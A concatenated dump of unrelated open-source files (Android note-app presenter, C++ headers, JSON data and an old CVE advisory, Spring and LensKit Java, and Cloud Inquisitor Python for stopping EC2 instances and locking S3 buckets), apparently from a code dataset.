}, (e) -> {
e.printStackTrace();
view.showProgressWheel(false);
});
}
public void onDrawerOpened(){
view.setToolbarTitle(mContext.getResources().getString(R.string.app_name));
}
public void onDrawerClosed(){
view.setToolbarTitle(drawerList.get(mCurrentNoteTypePage.getValue()));
}
public void initItemLayoutManager(){
boolean card = mPreferenceUtils.getBooleanParam(mContext.getString(R.string.card_note_item_layout_key), true);
switchItemLayoutManager(card);
}
private void switchItemLayoutManager(boolean card){
if (card){
view.setLayoutManager(new StaggeredGridLayoutManager(2, LinearLayoutManager.VERTICAL));
}else {
view.setLayoutManager(new LinearLayoutManager(mContext, LinearLayoutManager.VERTICAL, false));
}
isCardItemLayout = card;
}
public void initRecyclerView(){
view.showProgressWheel(true);
mObservableUtils.getLocalNotesByType(mFinalDb, mCurrentNoteTypePage.getValue())
.subscribeOn(Schedulers.computation())
.observeOn(AndroidSchedulers.mainThread())
.subscribe((notes) -> {
view.initRecyclerView(notes);
view.showProgressWheel(false);
}, (e) -> {
e.printStackTrace();
view.showProgressWheel(false);
});
}
private void startNoteActivity(int type, SNote value){
Intent intent = new Intent(mContext, NoteActivity.class);
Bundle bundle = new Bundle();
bundle.putInt(NotePresenter.OPERATE_NOTE_TYPE_KEY, type);
EventBus.getDefault().postSticky(value);
intent.putExtras(bundle);
mContext.startActivity(intent);
}
public void startSettingActivity(){
Intent intent = new Intent(mContext, SettingActivity.class);
mContext.startActivity(intent);
}
public void startAboutActivity(){
Intent intent = new Intent(mContext, AboutActivity.class);
mContext.startActivity(intent);
}
public void onRecyclerViewItemClick(int position, SNote value){
if (mCurrentNoteTypePage == SNote.NoteType.TRASH){
return;
}
startNoteActivity(NotePresenter.VIEW_NOTE_MODE, value);
}
public void showPopMenu(android.view.View v, int position, SNote value){
if (mCurrentNoteTypePage == SNote.NoteType.TRASH){
view.showTrashPopupMenu(v, value);
}else {
view.showNormalPopupMenu(v, value);
}
}
private void moveToTrash(SNote note){
if (note == null)
return;
note.setType(SNote.NoteType.TRASH);
note.setStatus(SNote.Status.NEED_REMOVE);
mFinalDb.update(note);
view.removeNote(note);
pushNote(note);
}
private void recoverNote(SNote note){
if (note == null)
return;
note.setType(SNote.NoteType.NORMAL);
note.setStatus(SNote.Status.NEED_PUSH);
mFinalDb.update(note);
view.removeNote(note);
pushNote(note);
}
public void onDeleteForeverDialogClick(SNote note, int which){
if (which == Dialog.BUTTON_POSITIVE){
mFinalDb.delete(note);
view.removeNote(note);
}
}
@Override
public boolean onMenuItemClick(MenuItem item) {
return false;
}
public boolean onPopupMenuClick(int id, SNote note){
switch (id){
case R.id.edit:
startNoteActivity(NotePresenter.EDIT_NOTE_MODE, note);
break;
case R.id.move_to_trash:
moveToTrash(note);
break;
case R.id.delete:
view.showDeleteForeverDialog(note);
break;
case R.id.recover:
recoverNote(note);
break;
default:
break;
}
return true;
}
public void newNote(){
SNote note = new SNote();
note.setType(mCurrentNoteTypePage);
startNoteActivity(NotePresenter.CREATE_NOTE_MODE, note);
}
private void pushNote(SNote note){
mObservableUtils.pushNote(mEverNoteUtils, note)
.subscribeOn(Schedulers.newThread())
.observeOn(AndroidSchedulers.mainThread())
.subscribe((result -> {
if (!result)
NotesLog.e("push note fail");
}), (e) ->{
e.printStackTrace();
NotesLog.e("push note fail");
});
}
private void sync(EverNoteUtils.SyncType type, boolean silence){
//mEverNoteUtils.sync();
mObservableUtils.sync(mEverNoteUtils, type)
.subscribeOn(Schedulers.newThread())
.observeOn(AndroidSchedulers.mainThread())
.subscribe((result -> {
if (!silence)
onEventMainThread(result);
}));
}
public void onEventMainThread(EverNoteUtils.SyncResult result){
if (result != EverNoteUtils.SyncResult.START)
view.stopRefresh();
switch (result){
case ERROR_NOT_LOGIN: view.showGoBindEverNoteSnackbar(R.string.unbind_ever_note_tip, R.string.go_bind);break;
case ERROR_EXPUNGE: view.showSnackbar(R.string.expunge_error);break;
case ERROR_DELETE: view.showSnackbar(R.string.delete_error);break;
case ERROR_FREQUENT_API: view.showSnackbar(R.string.frequent_api_tip);break;
case ERROR_AUTH_EXPIRED: view.showSnackbar(R.string.error_auth_expired_tip);break;
case ERROR_PERMISSION_DENIED: view.showSnackbar(R.string.error_permission_deny);break;
case ERROR_QUOTA_EXCEEDED: view.showSnackbar(R.string.error_permission_deny);break;
case ERROR_OTHER: view.showSnackbar(R.string.sync_fail);break;
case START: break;
case SUCCESS_SILENCE: break;
case SUCCESS:view.showSnackbar(R.string.sync_success);refreshNoteTypePage();break;
}
}
public void onEventMainThread(NotifyEvent event){
switch (event.getType()){
case NotifyEvent.REFRESH_LIST:
view.startRefresh();
onRefresh();
break;
case NotifyEvent.CREATE_NOTE:
if (event.getData() instanceof SNote){
SNote note = (SNote)event.getData();
view.addNote(note);
view.scrollRecyclerViewToTop();
pushNote(note);
}
break;
case NotifyEvent.UPDATE_NOTE:
if (event.getData() instanceof SNote){
SNote note = (SNote)event.getData();
view.updateNote(note);
view.scrollRecyclerViewToTop();
pushNote(note);
}
break;
case NotifyEvent.CHANGE_THEME:
view.reCreate();
break;
}
}
public static class NotifyEvent<T>{
public static final int REFRESH_LIST = 0;
public static final int CREATE_NOTE = 1;
public static final int UPDATE_NOTE = 2;
public static final int CHANGE_THEME = 3;
public static final int CHANGE_ITEM_LAYOUT = 4;
public static final int CHANGE_MENU_GRAVITY = 5;
private int type;
private T data;
@IntDef({REFRESH_LIST, CREATE_NOTE, UPDATE_NOTE, CHANGE_THEME,
CHANGE_ITEM_LAYOUT, CHANGE_MENU_GRAVITY})
public @interface Type {
}
public @Type int getType() {
return type;
}
public void setType(@Type int type) {
this.type = type;
}
public T getData() {
return data;
}
public void setData(T data) {
this.data = data;
}
}
}
| 7,305
|
892
|
{
"schema_version": "1.2.0",
"id": "GHSA-v3cg-qj8r-xhpc",
"modified": "2022-04-30T18:15:28Z",
"published": "2022-04-30T18:15:28Z",
"aliases": [
"CVE-2001-0133"
],
"details": "The web administration interface for Interscan VirusWall 3.6.x and earlier does not use encryption, which could allow remote attackers to obtain the administrator password to sniff the administrator password via the setpasswd.cgi program or other HTTP GET requests that contain base64 encoded usernames and passwords.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2001-0133"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2001-01/0235.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/2212"
}
],
"database_specific": {
"cwe_ids": [
],
"severity": "HIGH",
"github_reviewed": false
}
}
| 411
|
450
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef HAWQ_SRC_TEST_FEATURE_LIB_STRING_UTIL_H_
#define HAWQ_SRC_TEST_FEATURE_LIB_STRING_UTIL_H_
#include <string>
#include <vector>
#include <cstdio>
namespace hawq {
namespace test {
bool iequals(const std::string &, const std::string &);
void replace(std::string &, const std::string &, const std::string &);
void toLower(std::string &);
std::string lower(const std::string &);
std::string &trim(std::string &);
std::string &trimNewLine(std::string &);
std::vector<std::string> split(const std::string &, char);
std::string regexReplace(std::string &, const std::string &, const std::string &);
bool startsWith(const std::string &, const std::string &);
bool endsWith(const std::string &, const std::string &);
template <typename... T>
std::string stringFormat(const std::string &fmt, T... vs) {
char b;
unsigned required = std::snprintf(&b, 0, fmt.c_str(), vs...) + 1;
char bytes[required];
std::snprintf(bytes, required, fmt.c_str(), vs...);
return std::string(bytes);
}
} // namespace test
} // namespace hawq
#endif
| 573
|
974
|
<gh_stars>100-1000
{"$type":"DurableTask.OrchestrationRuntimeState, DurableTask","Events":[{"$type":"DurableTask.History.ExecutionStartedEvent, DurableTask","OrchestrationInstance":null,"EventType":0,"ParentInstance":{"$type":"DurableTask.ParentInstance, DurableTask","Name":"ParentName","OrchestrationInstance":{"$type":"DurableTask.OrchestrationInstance, DurableTask","InstanceId":"ParentInstanceId","ExecutionId":"ParentExecutionId"},"TaskScheduleId":1,"Version":"ParentVersion"},"Name":"Started","Version":null,"Input":"string","Tags":null,"EventId":-1,"IsPlayed":false,"Timestamp":"2018-04-13T22:03:59.6467518Z"},{"$type":"DurableTask.History.ExecutionTerminatedEvent, DurableTask","EventType":3,"Input":"Terminate","EventId":2,"IsPlayed":false,"Timestamp":"2018-04-13T22:20:01.0997257Z"}],"NewEvents":[],"CompressedSize":0,"Size":0,"Status":null,"CreatedTime":"2018-04-13T22:03:59.6467518Z","CompletedTime":"9999-12-31T07:59:59.9999999Z","Input":"string","Output":null,"Name":"Started","Version":null,"Tags":null,"OrchestrationStatus":0,"OrchestrationInstance":null,"ParentInstance":{"$type":"DurableTask.ParentInstance, DurableTask","Name":"ParentName","OrchestrationInstance":{"$type":"DurableTask.OrchestrationInstance, DurableTask","InstanceId":"ParentInstanceId","ExecutionId":"ParentExecutionId"},"TaskScheduleId":1,"Version":"ParentVersion"}}
| 403
|
348
|
{"nom":"Heilly","circ":"4ème circonscription","dpt":"Somme","inscrits":326,"abs":165,"votants":161,"blancs":18,"nuls":5,"exp":138,"res":[{"nuance":"REM","nom":"<NAME>","voix":96},{"nuance":"FN","nom":"<NAME>","voix":42}]}
| 88
|
14,668
|
<gh_stars>1000+
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef REMOTING_HOST_HOST_DETAILS_H_
#define REMOTING_HOST_HOST_DETAILS_H_
#include <string>
namespace remoting {
// Returns the host OS name in a standard format for any build target.
std::string GetHostOperatingSystemName();
// Returns the host OS version in a standard format for any build target.
std::string GetHostOperatingSystemVersion();
} // namespace remoting
#endif // REMOTING_HOST_HOST_DETAILS_H_
| 190
|
370
|
<filename>src/xapian/api/termlist.h
/** @file termlist.h
* @brief Abstract base class for termlists.
*/
/* Copyright (C) 2007,2010,2013 <NAME>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef XAPIAN_INCLUDED_TERMLIST_H
#define XAPIAN_INCLUDED_TERMLIST_H
#include "xapian/api/smallvector.h"
#include "xapian/backends/positionlist.h"
#include <string>
#include "xapian/intrusive_ptr.h"
#include "xapian/types.h"
#include "xapian/termiterator.h"
namespace Xapian {
namespace Internal {
class ExpandStats;
}
}
/// Abstract base class for termlists.
class Xapian::TermIterator::Internal : public Xapian::Internal::intrusive_base {
/// Don't allow assignment.
void operator=(const Internal &) = delete;
/// Don't allow copying.
Internal(const Internal &) = delete;
protected:
/// Only constructable as a base class for derived classes.
Internal() { }
public:
/** We have virtual methods and want to be able to delete derived classes
* using a pointer to the base class, so we need a virtual destructor.
*/
virtual ~Internal();
/// Return approximate size of this termlist.
virtual Xapian::termcount get_approx_size() const = 0;
/// Collate weighting information for the current term.
virtual void accumulate_stats(Xapian::Internal::ExpandStats & stats) const;
/// Return the termname at the current position.
virtual std::string get_termname() const = 0;
/// Return the wdf for the term at the current position.
virtual Xapian::termcount get_wdf() const = 0;
/// Return the term frequency for the term at the current position.
virtual Xapian::doccount get_termfreq() const = 0;
/** Advance the current position to the next term in the termlist.
*
* The list starts before the first term in the list, so next(), skip_to()
* or check() must be called before any methods which need the context of
* the current position.
*
* @return If a non-NULL pointer is returned, then the caller should
* substitute the returned pointer for its pointer to us, and then
* delete us. This "pruning" can only happen for a non-leaf
* subclass of this class.
*/
virtual Internal * next() = 0;
/** Skip forward to the specified term.
*
* If the specified term isn't in the list, position ourselves on the
* first term after tname (or at_end() if no terms after tname exist).
*/
virtual Internal * skip_to(const std::string &term) = 0;
/// Return true if the current position is past the last term in this list.
virtual bool at_end() const = 0;
/// Return the length of the position list for the current position.
virtual Xapian::termcount positionlist_count() const = 0;
/** Get pointer to VecCOW<termpos> if that's the internal representation.
*
* This avoids unnecessary copying of positions in the common cases - the
* case it doesn't help with is adding a document back with unmodified
* positions *AND* a different docid, which is an unusual thing to do.
*
* @return Pointer to VecCOW<termpos> or NULL.
*/
virtual const Xapian::VecCOW<Xapian::termpos> * get_vec_termpos() const;
/// Return PositionList for the current position.
virtual PositionList* positionlist_begin() const = 0;
};
// In the external API headers, this class is Xapian::TermIterator::Internal,
// but in the library code it's still known as "TermList" in most places.
typedef Xapian::TermIterator::Internal TermList;
#endif // XAPIAN_INCLUDED_TERMLIST_H
| 1,341
|
5,169
|
<filename>Specs/UIApplication-AppInfo/0.2/UIApplication-AppInfo.podspec.json
{
"name": "UIApplication-AppInfo",
"version": "0.2",
"license": {
"type": "MIT",
"file": "LICENSE.md"
},
"homepage": "https://github.com/lukaskollmer/UIApplication-AppInfo",
"authors": {
"<NAME>": "<EMAIL>"
},
"summary": "UIApplication extension for accessing app specific information",
"source": {
"git": "https://github.com/lukaskollmer/UIApplication-AppInfo.git",
"tag": "v0.2"
},
"source_files": "UIApplication+AppInfo.{h,m}",
"platforms": {
"ios": "7.0"
},
"requires_arc": true
}
| 261
|
370
|
<reponame>celestehorgan/k8s.io<filename>audit/projects/k8s-infra-e2e-boskos-039/service-accounts/230053707446-compute@developer.gserviceaccount.com/description.json
{
"displayName": "Compute Engine default service account",
"email": "<EMAIL>",
"name": "projects/k8s-infra-e2e-boskos-039/serviceAccounts/<EMAIL>",
"oauth2ClientId": "106642468099266278580",
"projectId": "k8s-infra-e2e-boskos-039",
"uniqueId": "106642468099266278580"
}
| 190
|
383
|
<reponame>robertmcnees/spring-cloud-bus<gh_stars>100-1000
/*
* Copyright 2012-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.cloud.bus.event;
import java.util.UUID;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import org.springframework.context.ApplicationEvent;
import org.springframework.core.style.ToStringCreator;
import org.springframework.util.Assert;
/**
* @author <NAME>
*/
@SuppressWarnings("serial")
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonIgnoreProperties("source")
public abstract class RemoteApplicationEvent extends ApplicationEvent {
private static final Object TRANSIENT_SOURCE = new Object();
private static final String TRANSIENT_ORIGIN = "____transient_origin_service___";
private static final String TRANSIENT_DESTINATION = "____transient_destination___";
protected static final PathDestinationFactory DEFAULT_DESTINATION_FACTORY = new PathDestinationFactory();
private final String originService;
private final String destinationService;
private final String id;
protected RemoteApplicationEvent() {
// for serialization libs like jackson
this(TRANSIENT_SOURCE, TRANSIENT_ORIGIN, DEFAULT_DESTINATION_FACTORY.getDestination(TRANSIENT_DESTINATION));
}
@Deprecated
protected RemoteApplicationEvent(Object source, String originService, String destinationService) {
this(source, originService, DEFAULT_DESTINATION_FACTORY.getDestination(destinationService));
}
protected RemoteApplicationEvent(Object source, String originService, Destination destination) {
super(source);
if (!originService.equals(TRANSIENT_ORIGIN)) {
Assert.notNull(originService, "originService may not be null");
this.originService = originService;
}
else {
this.originService = null;
}
Assert.notNull(destination, "destination may not be null");
this.destinationService = destination.getDestinationAsString();
Assert.hasText(destinationService, "destinationService may not be empty");
this.id = UUID.randomUUID().toString();
}
@Deprecated
protected RemoteApplicationEvent(Object source, String originService) {
this(source, originService, DEFAULT_DESTINATION_FACTORY.getDestination(null));
}
public String getOriginService() {
return this.originService;
}
public String getDestinationService() {
return this.destinationService;
}
public String getId() {
return this.id;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + ((this.destinationService == null) ? 0 : this.destinationService.hashCode());
result = prime * result + ((this.id == null) ? 0 : this.id.hashCode());
result = prime * result + ((this.originService == null) ? 0 : this.originService.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
RemoteApplicationEvent other = (RemoteApplicationEvent) obj;
if (this.destinationService == null) {
if (other.destinationService != null) {
return false;
}
}
else if (!this.destinationService.equals(other.destinationService)) {
return false;
}
if (this.id == null) {
if (other.id != null) {
return false;
}
}
else if (!this.id.equals(other.id)) {
return false;
}
if (this.originService == null) {
if (other.originService != null) {
return false;
}
}
else if (!this.originService.equals(other.originService)) {
return false;
}
return true;
}
@Override
public String toString() {
return new ToStringCreator(this).append("id", id).append("originService", originService)
.append("destinationService", destinationService).toString();
}
}
| 1,407
|
809
|
/*
* LensKit, an open-source toolkit for recommender systems.
* Copyright 2014-2017 LensKit contributors (see CONTRIBUTORS.md)
* Copyright 2010-2014 Regents of the University of Minnesota
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package org.lenskit.slopeone;
import org.junit.Test;
import org.lenskit.data.dao.DataAccessObject;
import org.lenskit.data.dao.file.StaticDataSource;
import org.lenskit.data.ratings.Rating;
import org.lenskit.data.ratings.RatingVectorPDAO;
import org.lenskit.data.ratings.StandardRatingVectorPDAO;
import org.lenskit.knn.item.model.ItemItemBuildContextProvider;
import org.lenskit.transform.normalize.DefaultUserVectorNormalizer;
import java.util.ArrayList;
import java.util.List;
import static org.junit.Assert.assertEquals;
public class SlopeOneModelProviderTest {
public static final double EPSILON = 1.0e-6;
private SlopeOneModel getModel(List<Rating> ratings) {
StaticDataSource source = StaticDataSource.fromList(ratings);
DataAccessObject dao = source.get();
RatingVectorPDAO rvDAO = new StandardRatingVectorPDAO(dao);
ItemItemBuildContextProvider contextFactory = new ItemItemBuildContextProvider(
rvDAO, new DefaultUserVectorNormalizer());
SlopeOneModelProvider provider = new SlopeOneModelProvider(contextFactory.get(), 0);
return provider.get();
}
@Test
public void testBuild1() {
List<Rating> rs = new ArrayList<>();
rs.add(Rating.create(1, 5, 2));
rs.add(Rating.create(2, 5, 4));
rs.add(Rating.create(1, 3, 5));
rs.add(Rating.create(2, 3, 4));
SlopeOneModel model1 = getModel(rs);
assertEquals(2, model1.getCoratings(5, 3));
assertEquals(2, model1.getCoratings(3, 5));
assertEquals(-1.5, model1.getDeviation(5, 3), EPSILON);
assertEquals(1.5, model1.getDeviation(3, 5), EPSILON);
}
@Test
public void testBuild2() {
List<Rating> rs = new ArrayList<>();
rs.add(Rating.create(1, 4, 4));
rs.add(Rating.create(2, 4, 5));
rs.add(Rating.create(3, 4, 4));
rs.add(Rating.create(1, 5, 3));
rs.add(Rating.create(2, 5, 5));
rs.add(Rating.create(3, 5, 1));
rs.add(Rating.create(1, 6, 1));
rs.add(Rating.create(2, 6, 5));
rs.add(Rating.create(3, 6, 3));
SlopeOneModel model2 = getModel(rs);
assertEquals(3, model2.getCoratings(4, 5));
assertEquals(3, model2.getCoratings(5, 4));
assertEquals(3, model2.getCoratings(4, 6));
assertEquals(3, model2.getCoratings(6, 4));
assertEquals(3, model2.getCoratings(5, 6));
assertEquals(3, model2.getCoratings(6, 5));
assertEquals(4 / 3.0, model2.getDeviation(4, 6), EPSILON);
assertEquals(-4 / 3.0, model2.getDeviation(6, 4), EPSILON);
assertEquals(4 / 3.0, model2.getDeviation(4, 5), EPSILON);
assertEquals(-4 / 3.0, model2.getDeviation(5, 4), EPSILON);
assertEquals(0, model2.getDeviation(5, 6), EPSILON);
assertEquals(0, model2.getDeviation(6, 5), EPSILON);
}
@Test
public void testBuild3() {
List<Rating> rs = new ArrayList<>();
rs.add(Rating.create(1, 6, 4));
rs.add(Rating.create(2, 6, 2));
rs.add(Rating.create(1, 7, 3));
rs.add(Rating.create(2, 7, 2));
rs.add(Rating.create(3, 7, 5));
rs.add(Rating.create(4, 7, 2));
rs.add(Rating.create(1, 8, 3));
rs.add(Rating.create(2, 8, 4));
rs.add(Rating.create(3, 8, 3));
rs.add(Rating.create(4, 8, 2));
rs.add(Rating.create(5, 8, 3));
rs.add(Rating.create(6, 8, 2));
rs.add(Rating.create(1, 9, 3));
rs.add(Rating.create(3, 9, 4));
SlopeOneModel model3 = getModel(rs);
assertEquals(2, model3.getCoratings(6, 7));
assertEquals(2, model3.getCoratings(7, 6));
assertEquals(2, model3.getCoratings(6, 8));
assertEquals(2, model3.getCoratings(8, 6));
assertEquals(1, model3.getCoratings(6, 9));
assertEquals(1, model3.getCoratings(9, 6));
assertEquals(4, model3.getCoratings(7, 8));
assertEquals(4, model3.getCoratings(8, 7));
assertEquals(2, model3.getCoratings(7, 9));
assertEquals(2, model3.getCoratings(9, 7));
assertEquals(2, model3.getCoratings(8, 9));
assertEquals(2, model3.getCoratings(9, 8));
assertEquals(0.5, model3.getDeviation(6, 7), EPSILON);
assertEquals(-0.5, model3.getDeviation(7, 6), EPSILON);
assertEquals(-0.5, model3.getDeviation(6, 8), EPSILON);
assertEquals(0.5, model3.getDeviation(8, 6), EPSILON);
assertEquals(1, model3.getDeviation(6, 9), EPSILON);
assertEquals(-1, model3.getDeviation(9, 6), EPSILON);
assertEquals(0, model3.getDeviation(7, 8), EPSILON);
assertEquals(0, model3.getDeviation(8, 7), EPSILON);
assertEquals(0.5, model3.getDeviation(7, 9), EPSILON);
assertEquals(-0.5, model3.getDeviation(9, 7), EPSILON);
assertEquals(-0.5, model3.getDeviation(8, 9), EPSILON);
assertEquals(0.5, model3.getDeviation(9, 8), EPSILON);
}
@Test
public void testBuild4() {
List<Rating> rs = new ArrayList<>();
rs.add(Rating.create(1, 4, 3.5));
rs.add(Rating.create(2, 4, 5));
rs.add(Rating.create(3, 5, 4.25));
rs.add(Rating.create(2, 6, 3));
rs.add(Rating.create(1, 7, 4));
rs.add(Rating.create(2, 7, 4));
rs.add(Rating.create(3, 7, 1.5));
SlopeOneModel model4 = getModel(rs);
assertEquals(0, model4.getCoratings(4, 5));
assertEquals(0, model4.getCoratings(5, 4));
assertEquals(1, model4.getCoratings(4, 6));
assertEquals(1, model4.getCoratings(6, 4));
assertEquals(2, model4.getCoratings(4, 7));
assertEquals(2, model4.getCoratings(7, 4));
assertEquals(0, model4.getCoratings(5, 6));
assertEquals(0, model4.getCoratings(6, 5));
assertEquals(1, model4.getCoratings(5, 7));
assertEquals(1, model4.getCoratings(7, 5));
assertEquals(1, model4.getCoratings(6, 7));
assertEquals(1, model4.getCoratings(7, 6));
assertEquals(Double.NaN, model4.getDeviation(4, 5), 0);
assertEquals(Double.NaN, model4.getDeviation(5, 4), 0);
assertEquals(2, model4.getDeviation(4, 6), EPSILON);
assertEquals(-2, model4.getDeviation(6, 4), EPSILON);
assertEquals(0.25, model4.getDeviation(4, 7), EPSILON);
assertEquals(-0.25, model4.getDeviation(7, 4), EPSILON);
assertEquals(Double.NaN, model4.getDeviation(5, 6), 0);
assertEquals(Double.NaN, model4.getDeviation(6, 5), 0);
assertEquals(2.75, model4.getDeviation(5, 7), EPSILON);
assertEquals(-2.75, model4.getDeviation(7, 5), EPSILON);
assertEquals(-1, model4.getDeviation(6, 7), EPSILON);
assertEquals(1, model4.getDeviation(7, 6), EPSILON);
}
}
| 3,540
|
462
|
<reponame>gibbsie/cloud-inquisitor
import json
import logging
from datetime import datetime, timedelta
from cinq_auditor_required_tags.utils import s3_removal_policy_exists, s3_removal_lifecycle_policy_exists
from cloud_inquisitor import get_aws_session
from cloud_inquisitor.config import dbconfig
from cloud_inquisitor.constants import ActionStatus
from cloud_inquisitor.constants import AuditActions, NS_AUDITOR_REQUIRED_TAGS
from cloud_inquisitor.log import auditlog
from cloud_inquisitor.plugins.types.accounts import AWSAccount
from cloud_inquisitor.plugins.types.enforcements import Enforcement
from cloud_inquisitor.plugins.types.resources import EC2Instance
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
def noop(client, resource):
return ActionStatus.SUCCEED, resource.metrics()
def process_action(resource, action, action_issuer='unknown'):
"""Process an audit action for a resource, if possible
Args:
resource (:obj:`Resource`): A resource object to perform the action on
action (`str`): Type of action to perform (`kill` or `stop`)
action_issuer (`str`): The issuer of the action
Returns:
`ActionStatus`
"""
from cinq_collector_aws import AWSRegionCollector
func_action = action_mapper[resource.resource_type][action]
extra_info = {}
action_status = ActionStatus.UNKNOWN
if func_action:
if action_mapper[resource.resource_type]['service_name'] == 'lambda':
client = get_aws_session(
AWSAccount.get(dbconfig.get('rds_collector_account', AWSRegionCollector.ns, ''))
).client(
'lambda',
dbconfig.get('rds_collector_region', AWSRegionCollector.ns, '')
)
else:
client = get_aws_session(AWSAccount(resource.account)).client(
action_mapper[resource.resource_type]['service_name'],
region_name=resource.location
)
try:
logger.info(f'Trying to {action} resource {resource.id} for account {resource.account.account_name} / region {resource.location}')
action_status, extra_info = func_action(client, resource)
if action_status == ActionStatus.SUCCEED:
Enforcement.create(resource.account.account_id, resource.id, action, datetime.now(), extra_info)
except Exception as ex:
action_status = ActionStatus.FAILED
logger.exception('Failed to apply action {} to {}: {}'.format(action, resource.id, ex))
finally:
auditlog(
event='{}.{}.{}.{}'.format(action_issuer, resource.resource_type, action, action_status),
actor=action_issuer,
data={
'resource_id': resource.id,
'account_name': resource.account.account_name,
'location': resource.location,
'info': extra_info
}
)
return action_status
else:
logger.error('Failed to apply action {} to {}: Not supported'.format(action, resource.id))
return ActionStatus.FAILED
def stop_ec2_instance(client, resource):
"""Stop an EC2 Instance
This function will attempt to stop a running instance.
Args:
client (:obj:`boto3.session.Session.client`): A boto3 client object
resource (:obj:`Resource`): The resource object to stop
Returns:
`ActionStatus`
"""
instance = EC2Instance.get(resource.id)
if instance.state in ('stopped', 'terminated'):
return ActionStatus.IGNORED, {}
client.stop_instances(InstanceIds=[resource.id])
return ActionStatus.SUCCEED, {'instance_type': resource.instance_type, 'public_ip': resource.public_ip}
def terminate_ec2_instance(client, resource):
"""Terminate an EC2 Instance
This function will terminate an EC2 Instance.
Args:
client (:obj:`boto3.session.Session.client`): A boto3 client object
resource (:obj:`Resource`): The resource object to terminate
Returns:
`ActionStatus`
"""
# TODO: Implement disabling of TerminationProtection
instance = EC2Instance.get(resource.id)
if instance.state == 'terminated':
return ActionStatus.IGNORED, {}
client.terminate_instances(InstanceIds=[resource.id])
return ActionStatus.SUCCEED, {'instance_type': resource.instance_type, 'public_ip': resource.public_ip}
def stop_s3_bucket(client, resource):
"""
Stop an S3 bucket from being used
This function will try to
1. Add lifecycle policy to make sure objects inside it will expire
2. Block certain access to the bucket
"""
bucket_policy = {
'Version': '2012-10-17',
'Id': 'PutObjPolicy',
'Statement': [
{
'Sid': 'cinqDenyObjectUploads',
'Effect': 'Deny',
'Principal': '*',
'Action': ['s3:PutObject', 's3:GetObject'],
'Resource': 'arn:aws:s3:::{}/*'.format(resource.id)
}
]
}
s3_removal_lifecycle_policy = {
'Rules': [
{'Status': 'Enabled',
'NoncurrentVersionExpiration': {u'NoncurrentDays': 1},
'Filter': {u'Prefix': ''},
'Expiration': {
u'Date': datetime.utcnow().replace(
hour=0, minute=0, second=0, microsecond=0
) + timedelta(days=dbconfig.get('lifecycle_expiration_days', NS_AUDITOR_REQUIRED_TAGS, 3))
},
'AbortIncompleteMultipartUpload': {u'DaysAfterInitiation': 3},
'ID': 'cloudInquisitor'}
]
}
policy_exists = s3_removal_policy_exists(client, resource)
lifecycle_policy_exists = s3_removal_lifecycle_policy_exists(client, resource)
if policy_exists and lifecycle_policy_exists:
return ActionStatus.IGNORED, {}
if not policy_exists:
client.put_bucket_policy(Bucket=resource.id, Policy=json.dumps(bucket_policy))
logger.info('Added policy to prevent putObject in s3 bucket {} in {}'.format(
resource.id,
resource.account.account_name
))
if not lifecycle_policy_exists:
# Grab S3 Metrics before lifecycle policies start removing objects
client.put_bucket_lifecycle_configuration(
Bucket=resource.id,
LifecycleConfiguration=s3_removal_lifecycle_policy
)
logger.info('Added policy to delete bucket contents in s3 bucket {} in {}'.format(
resource.id,
resource.account.account_name
))
return ActionStatus.SUCCEED, resource.metrics()
def delete_s3_bucket(client, resource):
